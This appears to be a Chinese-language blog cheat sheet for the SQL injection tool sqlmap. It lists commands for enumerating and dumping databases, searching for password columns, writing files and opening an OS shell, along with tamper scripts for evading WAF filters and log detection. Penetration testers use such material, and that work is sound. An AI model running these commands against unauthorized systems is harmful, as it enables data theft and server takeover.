sqlmap

sqlmap

跨清溪半里桥
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
自动检测

sqlmap -u http:/xxxxxx.xxx --dbs --batch

指定参数

sqlmap -u http:/xxxxxx.xxx/?id=x&param=x -p id

指定数据库类型

sqlmap -u http:/xxxxxx.xxx –dbms mysql

从文件读取http请求报文

sqlmap -r 1.txt --dbs --batch

设置cookie

sqlmap -u http:/xxxxxx.xxx --cookie="JSESSION=asd" --dbs --batch

查询数据库

sqlmap -u http:/xxxxxx.xxx --dbs

查询表

sqlmap -u http:/xxxxxx.xxx -D 数据库名 --tables

查字段名

sqlmap -u http:/xxxxxx.xxx -D 数据库名 -T 表名 --columns

爆数据

sqlmap -u http:/xxxxxx.xxx -D 数据库名 -T 表名 -C "字段名1,字段名2"--dump

在数据库中搜索字段 / 表 / 数据库名

sqlmap -u http:/xxxxxx.xxx --search -C/T/D admin,password

写入文件
sqlmap -u http://xxx.xxx -–file-dest "要写入的文件在本地的路径" –file-write "目标路径"

调用shell

sqlmap -u http://xxx.xxx --os-shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
--method=METHOD     强制使用提供的 HTTP 方法(例如:PUT)
--data=DATA 使用 POST 发送数据串(例如:"id=1")
--param-del=PARA.. 设置参数值分隔符(例如:&)
--cookie=COOKIE 指定 HTTP Cookie(例如:"PHPSESSID=a8d127e..")
--cookie-del=COO.. 设置 cookie 分隔符(例如:;)
--load-cookies=L.. 指定以 Netscape/wget 格式存放 cookies 的文件
--drop-set-cookie 忽略 HTTP 响应中的 Set-Cookie 参数
--user-agent=AGENT 指定 HTTP User-Agent
--random-agent 使用随机的 HTTP User-Agent
--host=HOST 指定 HTTP Host
--referer=REFERER 指定 HTTP Referer
-H HEADER, --hea.. 设置额外的 HTTP 头参数(例如:"X-Forwarded-For: 127.0.0.1")
--headers=HEADERS 设置额外的 HTTP 头参数(例如:"Accept-Language: fr\nETag: 123")
--auth-type=AUTH.. HTTP 认证方式(Basic,Digest,NTLM 或 PKI)
--auth-cred=AUTH.. HTTP 认证凭证(username:password)
--auth-file=AUTH.. HTTP 认证 PEM 证书/私钥文件
--ignore-code=IG.. 忽略(有问题的)HTTP 错误码(例如:401)
--ignore-proxy 忽略系统默认代理设置
--ignore-redirects 忽略重定向尝试
--ignore-timeouts 忽略连接超时
--proxy=PROXY 使用代理连接目标 URL
--proxy-cred=PRO.. 使用代理进行认证(username:password)
--proxy-file=PRO.. 从文件中加载代理列表
--tor 使用 Tor 匿名网络
--tor-port=TORPORT 设置 Tor 代理端口代替默认端口
--tor-type=TORTYPE 设置 Tor 代理方式(HTTP,SOCKS4 或 SOCKS5(默认))
--check-tor 检查是否正确使用了 Tor
--delay=DELAY 设置每个 HTTP 请求的延迟秒数
--timeout=TIMEOUT 设置连接响应的有效秒数(默认为 30)
--retries=RETRIES 连接超时时重试次数(默认为 3)
--randomize=RPARAM 随机更改给定的参数值
--safe-url=SAFEURL 测试过程中可频繁访问且合法的 URL 地址(译者注:
有些网站在你连续多次访问错误地址时会关闭会话连接,
后面的“请求”小节有详细说明)
--safe-post=SAFE.. 使用 POST 方法发送合法的数据
--safe-req=SAFER.. 从文件中加载合法的 HTTP 请求
--safe-freq=SAFE.. 每访问两次给定的合法 URL 才发送一次测试请求
--skip-urlencode 不对 payload 数据进行 URL 编码
--csrf-token=CSR.. 设置网站用来反 CSRF 攻击的 token
--csrf-url=CSRFURL 指定可提取防 CSRF 攻击 token 的 URL
--force-ssl 强制使用 SSL/HTTPS
--hpp 使用 HTTP 参数污染攻击
--eval=EVALCODE 在发起请求前执行给定的 Python 代码(例如:
"import hashlib;id2=hashlib.md5(id).hexdigest()")
1
2
3
4
5
6
7
-d DIRECT           直接连接数据库
-u URL, --url=URL 目标 URL(例如:"http://www.site.com/vuln.php?id=1")
-l LOGFILE 从 Burp 或 WebScarab 代理的日志文件中解析目标地址
-m BULKFILE 从文本文件中获取批量目标
-r REQUESTFILE 从文件中读取 HTTP 请求
-g GOOGLEDORK 使用 Google dork 结果作为目标
-c CONFIGFILE 从 INI 配置文件中加载选项
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
-p TESTPARAMETER    指定需要测试的参数
--skip=SKIP 指定要跳过的参数
--skip-static 指定跳过非动态参数
--param-exclude=.. 用正则表达式排除参数(例如:"ses")
--dbms=DBMS 指定后端 DBMS(Database Management System,
数据库管理系统)类型(例如:MySQL)
--dbms-cred=DBMS.. DBMS 认证凭据(username:password)
--os=OS 指定后端 DBMS 的操作系统类型
--invalid-bignum 将无效值设置为大数
--invalid-logical 对无效值使用逻辑运算
--invalid-string 对无效值使用随机字符串
--no-cast 关闭 payload 构造机制
--no-escape 关闭字符串转义机制
--prefix=PREFIX 注入 payload 的前缀字符串
--suffix=SUFFIX 注入 payload 的后缀字符串
--tamper=TAMPER 用给定脚本修改注入数据
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
-a, --all           获取所有信息、数据
-b, --banner 获取 DBMS banner
--current-user 获取 DBMS 当前用户
--current-db 获取 DBMS 当前数据库
--hostname 获取 DBMS 服务器的主机名
--is-dba 探测 DBMS 当前用户是否为 DBA(数据库管理员)
--users 枚举出 DBMS 所有用户
--passwords 枚举出 DBMS 所有用户的密码哈希
--privileges 枚举出 DBMS 所有用户特权级
--roles 枚举出 DBMS 所有用户角色
--dbs 枚举出 DBMS 所有数据库
--tables 枚举出 DBMS 数据库中的所有表
--columns 枚举出 DBMS 表中的所有列
--schema 枚举出 DBMS 所有模式
--count 获取数据表数目
--dump 导出 DBMS 数据库表项
--dump-all 导出所有 DBMS 数据库表项
--search 搜索列,表和/或数据库名
--comments 枚举数据时检查 DBMS 注释
-D DB 指定要枚举的 DBMS 数据库
-T TBL 指定要枚举的 DBMS 数据表
-C COL 指定要枚举的 DBMS 数据列
-X EXCLUDE 指定不枚举的 DBMS 标识符
-U USER 指定枚举的 DBMS 用户
--exclude-sysdbs 枚举所有数据表时,指定排除特定系统数据库
--pivot-column=P.. 指定主列
--where=DUMPWHERE 在转储表时使用 WHERE 条件语句
--start=LIMITSTART 指定要导出的数据表条目开始行数
--stop=LIMITSTOP 指定要导出的数据表条目结束行数
--first=FIRSTCHAR 指定获取返回查询结果的开始字符位
--last=LASTCHAR 指定获取返回查询结果的结束字符位
--sql-query=QUERY 指定要执行的 SQL 语句
--sql-shell 调出交互式 SQL shell
--sql-file=SQLFILE 执行文件中的 SQL 语句
1
2
3
4
5
6
7
8
9
10
space2comment: 将空格替换为内联注释
between: 用BETWEEN替换大于号
charencode: 对给定的payload进行URL编码
charunicodeencode: 对给定的payload进行Unicode编码
concat2concatws: 用CONCAT_WS()替换CONCAT()
equaltolike: 用LIKE替换等号
ifnull2ifisnull: 用IF(ISNULL())替换IFNULL()
modsecurityversioned: 用带版本注释的payload绕过ModSecurity
space2plus: 用+替换空格
randomcase: 随机改变payload中字母的大小写
1
2
3
4
5
6
7
8
--level=LEVEL       设置测试等级(1-5,默认为 1)
--risk=RISK 设置测试风险等级(1-3,默认为 1)
--string=STRING 用于确定查询结果为真时的字符串
--not-string=NOT.. 用于确定查询结果为假时的字符串
--regexp=REGEXP 用于确定查询结果为真时的正则表达式
--code=CODE 用于确定查询结果为真时的 HTTP 状态码
--text-only 只根据页面文本内容对比页面
--titles 只根据页面标题对比页面
脚本过滤
1
sqlmap -u "http://example.com/page.php?id=1" --tamper=between
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
MySQL相关tamper脚本:

1. between.py
作用:用NOT BETWEEN 0 AND #替换>
功能:绕过对>的过滤。

2. bluecoat.py
作用:在SQL语句之后用有效的随机空白字符替换空格符,随后用LIKE替换=
功能:绕过简单的签名检测机制。

3. charencode.py
作用:对给定的payload全部字符使用URL编码(不处理已经编码的字符)
功能:绕过对常见字符的过滤。

4. charunicodeencode.py
作用:对字符串进行Unicode编码
功能:绕过对常见字符的过滤。

5. equaltolike.py
作用:将=替换为LIKE
功能:绕过对等号的过滤。

6. ifnull2ifisnull.py
作用:将IFNULL(A, B)替换为IF(ISNULL(A), B, A)
功能:绕过对IFNULL的过滤。

7. modsecurityversioned.py
作用:过滤空格,使用MySQL内联注释的方式进行注入
功能:绕过对空格的过滤。

8. modsecurityzeroversioned.py
作用:使用内联注释方式(/*!00000*/)进行注入
功能:绕过对空格的过滤。

9. space2comment.py
作用:将空格替换为/**/
功能:绕过对空格的过滤。

10. space2dash.py
作用:将空格替换为--,并添加一个随机字符串和换行符
功能:绕过对空格的过滤。

11. space2mysqlblank.py
作用:将空格替换为其他空格符号(例如%09, %0A)
功能:绕过对空格的过滤。

12. space2mysqldash.py
作用:将空格替换为--,并添加一个换行符
功能:绕过对空格的过滤。

13. space2morehash.py
作用:将空格替换为#,并添加一个随机字符串和换行符
功能:绕过对空格的过滤。

14. versionedkeywords.py
作用:注释绕过
功能:绕过对关键字的过滤。

15. halfversionedmorekeywords.py
作用:在每个关键字前添加MySQL版本注释
功能:绕过对关键字的过滤。

其他数据库通用tamper脚本:

1. apostrophemask.py
适用数据库:所有数据库
作用:将单引号替换为UTF-8编码
功能:绕过对单引号的过滤。

2. base64encode.py
适用数据库:所有数据库
作用:将payload替换为Base64编码
功能:绕过对常见字符的过滤。

3. multiplespaces.py
适用数据库:所有数据库
作用:围绕SQL关键字添加多个空格
功能:绕过对关键字的过滤。

4. space2plus.py
适用数据库:所有数据库
作用:用加号替换空格
功能:绕过对空格的过滤。

5. nonrecursivereplacement.py
适用数据库:所有数据库
作用:作为双重查询语句,用双重语句替代预定义的SQL关键字
功能:绕过对SQL关键字的简单替换过滤。

6. space2randomblank.py
适用数据库:所有数据库
作用:将空格替换为其他有效字符
功能:绕过对空格的过滤。

7. unionalltounion.py
适用数据库:所有数据库
作用:将UNION ALL SELECT替换为UNION SELECT
功能:绕过对UNION ALL的过滤。

8. securesphere.py
适用数据库:所有数据库
作用:追加特定的字符串
功能:绕过简单的签名检测机制。

9. space2mssqlblank.py
适用数据库:Microsoft SQL Server
作用:将空格随机替换为其他空格符号
功能:绕过对空格的过滤。

10. percentage.py
适用数据库:所有数据库
作用:在每个字符前添加一个百分号
功能:绕过对常见字符的过滤。

11. sp_password.py
适用数据库:MSSQL
作用:从T-SQL日志的自动模糊处理的有效载荷中追加sp_password
功能:绕过日志检测。

12. randomcase.py
适用数据库:所有数据库
作用:随机大小写
功能:绕过对关键字的过滤。

13. charunicodeencode.py
适用数据库:所有数据库
作用:适用字符串的Unicode编码
功能:绕过对常见字符的过滤。

14. equaltolike.py
适用数据库:所有数据库
作用:将=替换为LIKE
功能:绕过对等号的过滤。

15. appendnullbyte.py
适用数据库:所有数据库
作用:在有效载荷的结束位置加载null字节字符编码
功能:绕过字符串结束的检测。

16. chardoubleencode.py
适用数据库:所有数据库
作用:对给定的payload全部字符使用双重URL编码
功能:绕过对常见字符的过滤。

17. unmagicquotes.py
适用数据库:所有数据库
作用:用一个多字节组合%bf%27和末尾通用注释一起替换空格
功能:绕过对空格的过滤。

18. randomcomments.py
适用数据库:所有数据库
作用:用注释符分割SQL关键字
功能:绕过对关键字的过滤。

On this page
sqlmap